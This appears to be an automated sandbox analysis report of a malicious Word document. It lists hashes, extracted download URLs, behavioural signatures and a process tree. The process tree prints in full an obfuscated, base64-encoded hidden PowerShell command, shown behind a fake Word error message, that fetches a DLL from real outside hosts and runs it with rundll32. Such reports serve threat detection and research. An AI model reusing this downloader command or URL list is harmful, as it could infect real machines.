Analysis
-
max time kernel
28s -
max time network
21s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
12-01-2021 20:28
Static task
static1
Behavioral task
behavioral1
Sample
a1e885ba7afda7bc1a64cc0527ebb4fd9e6690d0d41360104c717700238fe420.doc
Resource
win10v20201028
General
-
Target
a1e885ba7afda7bc1a64cc0527ebb4fd9e6690d0d41360104c717700238fe420.doc
-
Size
157KB
-
MD5
365936c7f3ef9965dc25db4c1ecd44aa
-
SHA1
0e9946890ff5c5376a3d8614e28601984d88f201
-
SHA256
a1e885ba7afda7bc1a64cc0527ebb4fd9e6690d0d41360104c717700238fe420
-
SHA512
bdb1111ac2da1a7ea5ea811e66751766c60e39192e104e9281bf2c5b64b3a3d2aaab0aee624c8ec633837ae3ad6e0ebfe9714373b969fcd72516a5b3800d796b
Malware Config
Extracted
https://shulovbaazar.com/c/bcL6/
https://mybusinessevent.com/tiki-install/e/
http://uhk.cncranes.com/ErrorPages/3/
https://capturetheaction.com.au/wp-includes/Yjp/
https://thenetworker.ca/comment/8N4/
https://trayonlinegh.com/cgi-bin/HBPR/
http://mmo.martinpollock.co.uk/a/SQSGg/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2388 3732 cmd.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 21 2796 powershell.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 1688 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Chvvfduoigek\araklvmxjbp.ivn rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 428 WINWORD.EXE 428 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exerundll32.exepid process 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe 3876 rundll32.exe 3876 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2796 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 428 WINWORD.EXE 428 WINWORD.EXE 428 WINWORD.EXE 428 WINWORD.EXE 428 WINWORD.EXE 428 WINWORD.EXE 428 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 2388 wrote to memory of 2980 2388 cmd.exe msg.exe PID 2388 wrote to memory of 2980 2388 cmd.exe msg.exe PID 2388 wrote to memory of 2796 2388 cmd.exe powershell.exe PID 2388 wrote to memory of 2796 2388 cmd.exe powershell.exe PID 2796 wrote to memory of 2236 2796 powershell.exe rundll32.exe PID 2796 wrote to memory of 2236 2796 powershell.exe rundll32.exe PID 2236 wrote to memory of 1688 2236 rundll32.exe rundll32.exe PID 2236 wrote to memory of 1688 2236 rundll32.exe rundll32.exe PID 2236 wrote to memory of 1688 2236 rundll32.exe rundll32.exe PID 1688 wrote to memory of 3876 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 3876 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 3876 1688 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a1e885ba7afda7bc1a64cc0527ebb4fd9e6690d0d41360104c717700238fe420.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA==2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll,ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll,ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Chvvfduoigek\araklvmxjbp.ivn",ShowDialogA5⤵
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dllMD5
9210fa2627d3dab635a53d21f809a2a2
SHA129c4a18b44e382c9baee9165709ad95f4c513ea4
SHA2566c8c2c7c5510285b99c20b36770df451f0b20537e76506de54941e0ba15858c0
SHA512fd5edc984ead71b2aa43fd0aa71448799d8817f1f009cf3798b121c7064292b4310ccf4d0840a2431964a6f73aa9e9858bf4c8676b19979b57fc7f6db04aa77f
-
\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dllMD5
9210fa2627d3dab635a53d21f809a2a2
SHA129c4a18b44e382c9baee9165709ad95f4c513ea4
SHA2566c8c2c7c5510285b99c20b36770df451f0b20537e76506de54941e0ba15858c0
SHA512fd5edc984ead71b2aa43fd0aa71448799d8817f1f009cf3798b121c7064292b4310ccf4d0840a2431964a6f73aa9e9858bf4c8676b19979b57fc7f6db04aa77f
-
memory/428-2-0x00007FFE68BF0000-0x00007FFE69227000-memory.dmpFilesize
6.2MB
-
memory/1688-10-0x0000000000000000-mapping.dmp
-
memory/2236-8-0x0000000000000000-mapping.dmp
-
memory/2796-4-0x0000000000000000-mapping.dmp
-
memory/2796-5-0x00007FFE60E40000-0x00007FFE6182C000-memory.dmpFilesize
9.9MB
-
memory/2796-6-0x0000024F7F770000-0x0000024F7F771000-memory.dmpFilesize
4KB
-
memory/2796-7-0x0000024F7F920000-0x0000024F7F921000-memory.dmpFilesize
4KB
-
memory/2980-3-0x0000000000000000-mapping.dmp
-
memory/3876-12-0x0000000000000000-mapping.dmp